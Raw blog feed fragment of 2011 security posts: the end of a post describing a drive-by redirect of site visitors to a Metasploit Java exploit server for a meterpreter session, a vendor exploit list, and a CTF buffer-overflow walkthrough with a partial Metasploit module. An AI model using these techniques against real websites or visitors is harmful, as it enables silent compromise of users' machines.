&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixi5CS4xZ4izzetcokkQ01E6xAjHNElwTmr2GV9Wdeh5GUWMW4Q473dcaLqH3zsyD7WemWjEFZR4BbXPdU708_2KQzPS8elas-ifbm8ba2Cb0USDU4ndK9LNZPOA3QXPGMramkMygcnQ8J/s1600/base64.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;102&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixi5CS4xZ4izzetcokkQ01E6xAjHNElwTmr2GV9Wdeh5GUWMW4Q473dcaLqH3zsyD7WemWjEFZR4BbXPdU708_2KQzPS8elas-ifbm8ba2Cb0USDU4ndK9LNZPOA3QXPGMramkMygcnQ8J/s400/base64.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Adding html tags to the code, the following line can be inserted on any html/php file on our website.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsvx1L5HSgU48w88CYial4ZYHYX8xInyGm6nhVJ6qmv6H07g7gH9rzJysfuotMB_T1GKxeKdJt8VK66BVFcPDz4k2wnVYN_dSvmqUMt-EWuDz5gPLrLLzsVq03tYSv6hDX0oqLC-OOTUro/s1600/attackstring.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;26&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsvx1L5HSgU48w88CYial4ZYHYX8xInyGm6nhVJ6qmv6H07g7gH9rzJysfuotMB_T1GKxeKdJt8VK66BVFcPDz4k2wnVYN_dSvmqUMt-EWuDz5gPLrLLzsVq03tYSv6hDX0oqLC-OOTUro/s400/attackstring.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
What will happen is, that when some user will go to look on our website he will be redirected also with no warning or any other notice to the metasploit server running the java_codebase_trust exploit on ip address 192.168.2.23. If the client will be running a vulnerable java version we will have a meterpreter connection.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/7740750431685533306/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2011/04/client-site-attack-using-java-codebase.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/7740750431685533306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/7740750431685533306'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2011/04/client-site-attack-using-java-codebase.html' title='Client site attack using java codebase trust'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8-R_aJ6Ld9Vb90GWeUvvuZiNCJWb5S47rsjHIXoKjzgcw3flpAWIzFLBUVjFvXd8FLmxqMOi7DIXdpWc59PHfvSVRzQtVoP5YTBDPTu-3G6siaBWokajFXH2PFPgwOLMOWTf_gXVCz-LD/s72-c/codebase.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-4147407449613990791</id><published>2011-02-15T12:14:00.000+02:00</published><updated>2011-02-15T12:14:42.808+02:00</updated><title type='text'>from exploit db to metasploit</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Couple of days ago, mubix at twitter posted a very nice link from http://cosine-security.blogspot.com/2011/02/metasploit-framework-wishlist.html . I got a few minutes today to separate the list a bit further so anybody that wants to work on it can look easier on things. The list is split according to vendors affected on the following files,&lt;br /&gt;
&lt;br /&gt;
adobe&lt;br /&gt;
apple&lt;br /&gt;
centos&lt;br /&gt;
cisco&lt;br /&gt;
debian&lt;br /&gt;
fedora&lt;br /&gt;
google&lt;br /&gt;
hp&lt;br /&gt;
ibm&lt;br /&gt;
java&lt;br /&gt;
linux&lt;br /&gt;
microsoft&lt;br /&gt;
mozilla&lt;br /&gt;
oracle&lt;br /&gt;
others&lt;br /&gt;
php&lt;br /&gt;
proftpd&lt;br /&gt;
red_hat&lt;br /&gt;
solaris&lt;br /&gt;
suse&lt;br /&gt;
ubuntu&lt;br /&gt;
winamp&lt;br /&gt;
&lt;br /&gt;
On the next few days I&#39;m thinking to start porting some of them to metasploit modules and anybody that wants to do the same feel free to choose what you like to work on :)&lt;br /&gt;
&lt;br /&gt;
List with vendors at &lt;a href=&quot;http://chaos.deventum.com/research/0entropy.zip&quot;&gt;http://chaos.deventum.com/research/0entropy.zip&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/4147407449613990791/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2011/02/from-exploit-db-to-metasploit.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/4147407449613990791'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/4147407449613990791'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2011/02/from-exploit-db-to-metasploit.html' title='from exploit db to metasploit'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-4736667822314659740</id><published>2011-02-09T12:40:00.000+02:00</published><updated>2011-02-09T12:40:14.255+02:00</updated><title type='text'>From vulnerability to exploit under 5 min</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Almost a month ago in the excellent group of NOVA Hackers! ( http://novahackers.blogspot.com/ ), a group of security professionals, security enthusiasts and friends a capture the flag challenge was posted. In that challenge one should find a way to exploit a binary file ( http://novactf.org/files/ctf-january-2011-files.rar ) that is listening on a specific port and write a metasploit exploit module . The ctf challenge was not meant to be extremely difficult it was meant to be for fun. Let&#39;s see how using the proper tools, one can write a metasploit, exploit, module under 5 min.&lt;br /&gt;
&lt;br /&gt;
Tools that you will need, and tools that i like to work with,&lt;br /&gt;
Immunity Debugger ( http://www.immunityinc.com/products-immdbg.shtml ) &lt;br /&gt;
Pvefindaddr ( http://redmine.corelan.be:8800/projects/pvefindaddr )&lt;br /&gt;
Metasploit Framework ( http://www.metasploit.com/framework/download/ )&lt;br /&gt;
&lt;br /&gt;
Let&#39;s see how simple could be to write a simple buffer overflow with the proper tools.&lt;br /&gt;
&lt;br /&gt;
Phase 1.&lt;br /&gt;
Fire up the debugger open the file,&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWuzdue6EJxumDb4MCdmy_vhE_aIXKZAb_dyBQko8rghpQSR3qoUxuvB3OxhrX056F54XXfWvIT2mcpoWzDlGIYRy1xwigqcwaJiE9UMcSVWj2Bhry-TR8ePnCXE3wLoHmW5dTPWjoJJyw/s1600/Immunity.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;256&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWuzdue6EJxumDb4MCdmy_vhE_aIXKZAb_dyBQko8rghpQSR3qoUxuvB3OxhrX056F54XXfWvIT2mcpoWzDlGIYRy1xwigqcwaJiE9UMcSVWj2Bhry-TR8ePnCXE3wLoHmW5dTPWjoJJyw/s320/Immunity.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Phase 2.&lt;br /&gt;
Start the executable from the debugger, pressing F9 or the run button.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQOGR-A2f5HgDuHs6WNvF4YjLlZiP8gnAqBzt03lgrhRlGlZtnj3h9EMxzpflFRtupoP6yaE5Is3ZXYcRvBkJxNBKfZr2POm77cm3LTOqSkI7XKcLxIn900k7oJ7bn5UzJjC-jY-Otcd9e/s1600/Immunity+running.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;256&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQOGR-A2f5HgDuHs6WNvF4YjLlZiP8gnAqBzt03lgrhRlGlZtnj3h9EMxzpflFRtupoP6yaE5Is3ZXYcRvBkJxNBKfZr2POm77cm3LTOqSkI7XKcLxIn900k7oJ7bn5UzJjC-jY-Otcd9e/s320/Immunity+running.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Phase 3. &lt;br /&gt;
Generate a string of characters and send it to crash the application using metasploit&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZdsnKjmUJRaJ4THfsRA0qsqIqTVINiDny5LvkKdcPmtBRQLEyizRZi5j9oF7jHWrtlmsMptK5jXbPcXEYslPuFi8mc7BtLvgk8nO2CzZNWa7qh_yGJVTmD9WOet4UDANi5h2OJ8cQVv3s/s1600/pattern+create.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;223&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZdsnKjmUJRaJ4THfsRA0qsqIqTVINiDny5LvkKdcPmtBRQLEyizRZi5j9oF7jHWrtlmsMptK5jXbPcXEYslPuFi8mc7BtLvgk8nO2CzZNWa7qh_yGJVTmD9WOet4UDANi5h2OJ8cQVv3s/s320/pattern+create.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Phase 4.&lt;br /&gt;
At this point the application is crashed and the debugger will be displaying an Access Violation, for our good chance several registers are overwritten also with our string,&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6tXzEofTpP5wN0L5a4cplGNVF3iyHLbP6ZC19EARVwgHMQYrGEUrQg6vDnS0V3Go1zlY5oCYKVhb-R5NQHXMDYF2cnxOnqpDEoA0xJIHmf4GZDeLRJeMiA5I4DfNKH9yh4Psp5sMuNWYC/s1600/crashed+server.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;256&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6tXzEofTpP5wN0L5a4cplGNVF3iyHLbP6ZC19EARVwgHMQYrGEUrQg6vDnS0V3Go1zlY5oCYKVhb-R5NQHXMDYF2cnxOnqpDEoA0xJIHmf4GZDeLRJeMiA5I4DfNKH9yh4Psp5sMuNWYC/s320/crashed+server.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Phase 5.&lt;br /&gt;
Pvefindaddr to the rescue! This is almost considering cheating writing an exploit with the help of pvefinaddr, let&#39;s make it quick then, execute !pvefindaddr suggest on the debugger and check the log for the results.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMlFRof329X9Yexexu9uyz1GnQkMZl6ZswHWhlAZs7NDVYZzxuCy3SmNgXfESc5NqYsh2ijxymFbPCsrhKmpztRqGIc_NcHof96MNr2eVORcAnN7bPxQscprbkotXQoam2ciftlkBFP5tv/s1600/pvefindaddr.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;256&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMlFRof329X9Yexexu9uyz1GnQkMZl6ZswHWhlAZs7NDVYZzxuCy3SmNgXfESc5NqYsh2ijxymFbPCsrhKmpztRqGIc_NcHof96MNr2eVORcAnN7bPxQscprbkotXQoam2ciftlkBFP5tv/s320/pvefindaddr.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;What else could we ask from the tool, maybe to write the metasploit module by itself and post it on the exploit-db.com :-)&lt;br /&gt;
&lt;br /&gt;
Phase 6.&lt;br /&gt;
Take the data and put them in a nice metasploit module. What is left here is a proper jmp eax instruction, pvefindaddr again will give us what we need.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDAvvCZQS4UJZJms_VNdNoHJDaFFSCUfO691cpvG8B2kece0as6VGDZTUF6Toe9NT3gAVBhUQx_kqU3-n0zxU6pAGWojJDZalyb58k0nmzXJylD_DwmS9PtY1-VuN8HnBeZNfmajd-JxCf/s1600/pvefindaddr+eax.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;256&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDAvvCZQS4UJZJms_VNdNoHJDaFFSCUfO691cpvG8B2kece0as6VGDZTUF6Toe9NT3gAVBhUQx_kqU3-n0zxU6pAGWojJDZalyb58k0nmzXJylD_DwmS9PtY1-VuN8HnBeZNfmajd-JxCf/s320/pvefindaddr+eax.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Phase 7.&lt;br /&gt;
Take a simple metasploit exploit template ( http://www.corelan.be:8800/index.php/2009/08/12/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics/ ) or from any other module in the metasploit directory add your values and you are done !&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;#&lt;br /&gt;
# Custom metasploit exploit &lt;br /&gt;
# Written by Nicolas Krassas&lt;br /&gt;
# Date 24/01/2011 &lt;br /&gt;
# This is initial version&lt;br /&gt;
#&lt;br /&gt;
require &#39;msf/core&#39;&lt;br /&gt;
&lt;br /&gt;
class Metasploit3 &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; include Msf::Exploit::Remote::Tcp&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; def initialize(info = {})&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; super(update_info(info,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39;Name&#39;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =&amp;gt; &#39;Custom vulnerable server stack overflow&#39;,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39;Description&#39;&amp;nbsp;&amp;nbsp;&amp;nbsp; =&amp;gt; %q{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This module exploits a stack overflow in a&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; custom vulnerable server.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; },&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39;Author&#39;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =&amp;gt; [ &#39;Nicolas Krassas&#39; ],&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39;Version&#39;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =&amp;gt; &#39;$Revision: 9999 $&#39;,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39;DefaultOptions&#39; =&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39;EXITFUNC&#39; =&amp;gt; &#39;process&#39;,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; },&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39;Payload&#39;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39;Space&#39;&amp;nbsp;&amp;nbsp;&amp;nbsp; =&amp;gt; 1000,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39;BadChars&#39; =&amp;gt; &quot;&quot;,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; },&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39;Platform&#39;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =&amp;gt; &#39;win&#39;,&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39;Targets&#39;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [&#39;Windows XP SP2 Eng&#39;,&lt;br /&gt;
